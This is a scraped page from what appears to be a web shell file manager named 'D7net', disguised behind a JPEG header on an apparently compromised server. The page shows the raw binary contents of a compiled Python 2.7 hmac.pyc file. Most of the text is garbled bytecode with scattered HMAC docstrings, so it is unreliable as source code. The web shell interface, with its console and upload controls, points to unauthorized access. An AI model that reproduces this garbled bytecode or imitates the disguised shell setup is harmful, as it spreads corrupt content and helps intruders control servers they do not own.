����JFIF���������
1#@!#!123s
D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
opt
/
imh-python
/
lib
/
python2.7
/
Filename :
hmac.pyc
back
Copy
� ��Wc�����������@���s����d��Z��d�d�l�Z�d�d�l�m�Z�d�j�g��e�d���D]�Z�e �e�d�A��^�q5���Z �d�j�g��e�d���D]�Z�e �e�d�A��^�qg���Z�d�Z �g��Z�d�d�d �������YZ�d�d�d ���Z�d�S(���sx���HMAC (Keyed-Hashing for Message Authentication) Python module. Implements the HMAC algorithm as described by RFC 2104. i����N(���t���_compare_digestt����i���i\���i6���t���HMACc�����������B���sP���e��Z�d��Z�d�Z�d�d�d���Z�d����Z�d����Z�d����Z�d����Z �d����Z �RS( ���s~���RFC 2104 HMAC class. Also complies with RFC 4231. This supports the API for Cryptographic Hash Functions (PEP 247). i@���c������������s���|�t��k�r�d�S���d�k�r4�d�d�l�}�|�j����n��t����d���rO����|��_�n�d����f�d���|��_�|��j����|��_�|��j����|��_�|��j�j�|��_�t�|��j�d���r��|��j�j �}�|�d�k��r t �j�d�|�|��j�f�t �d ���|��j�}�q n#�t �j�d �|��j�t �d ���|��j�}�t�|���|�k�r7|��j�|���j����}�n��|�t�d���|�t�|���}�|��j�j�|�j�t�����|��j�j�|�j�t�����|�d�k �r�|��j�|���n��d�S(���s9��Create a new HMAC object. key: key for the keyed hash object. msg: Initial input for the hash, if provided. digestmod: A module supporting PEP 247. *OR* A hashlib constructor returning a new hash object. Defaults to hashlib.md5. Ni����t���__call__R���c������������s ������j��|����S(���N(���t���new(���t���d(���t ���digestmod(����s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyt���<lambda>2���s����t ���block_sizei���s:���block_size of %d seems too small; using our default of %d.i���s<���No block_size attribute on given digest object; Assuming %d.i����(���t���_secret_backdoor_keyt���Nonet���hashlibt���md5t���hasattrt���digest_const���outert���innert���digest_sizeR���t ���_warningst���warnt ���blocksizet���RuntimeWarningt���lent���digestt���chrt���updatet ���translatet���trans_5Ct���trans_36(���t���selft���keyt���msgR���R���R���(����(���R���s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyt���__init__���s:���� c���������C���s���|��j��j�|���d�S(���s8���Update this hashing object with the string msg. N(���R���R���(���R���R���(����(����s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyR���S���s����c���������C���sO���|��j��t���}�|��j�|�_�|��j�|�_�|��j�j����|�_�|��j�j����|�_�|�S(���sy���Return a separate copy of this hashing object. An update to this copy won't affect the original object. (���t ���__class__R ���R���R���R���t���copyR���(���R���t���other(����(����s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyR"���X���s����c���������C���s)���|��j��j����}�|�j�|��j�j������|�S(���sw���Return a hash object for the current state. To be used only internally with digest() and hexdigest(). (���R���R"���R���R���R���(���R���t���h(����(����s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyt���_currentd���s����c���������C���s���|��j�����}�|�j����S(���s����Return the hash value of this hashing object. This returns a string containing 8-bit data. The object is not altered in any way by this function; you can continue updating the object after calling this function. (���R%���R���(���R���R$���(����(����s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyR���m���s����c���������C���s���|��j�����}�|�j����S(���sK���Like digest(), but returns a string of hexadecimal digits instead. (���R%���t ���hexdigest(���R���R$���(����(����s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyR&���w���s����N(���t���__name__t ���__module__t���__doc__R���R ���R ���R���R"���R%���R���R&���(����(����(����s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyR������s���5 c���������C���s���t��|��|�|���S(���sV��Create a new hashing object and return it. key: The starting key for the hash. msg: if available, will immediately be hashed into the object's starting state. You can now feed arbitrary strings into the object using its update() method, and can ask for the hash value at any time by calling its digest() method. (���R���(���R���R���R���(����(����s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyR���}���s����(����(���R)���t���warningsR���t���operatorR����t���compare_digestt���joint���xranget���xR���R���R���R ���R���R ���R���R���(����(����(����s]���/builddir/build/BUILDROOT/imh-python-2.7.12-1.el7.x86_64/opt/imh-python/lib/python2.7/hmac.pyt���<module>���s���22f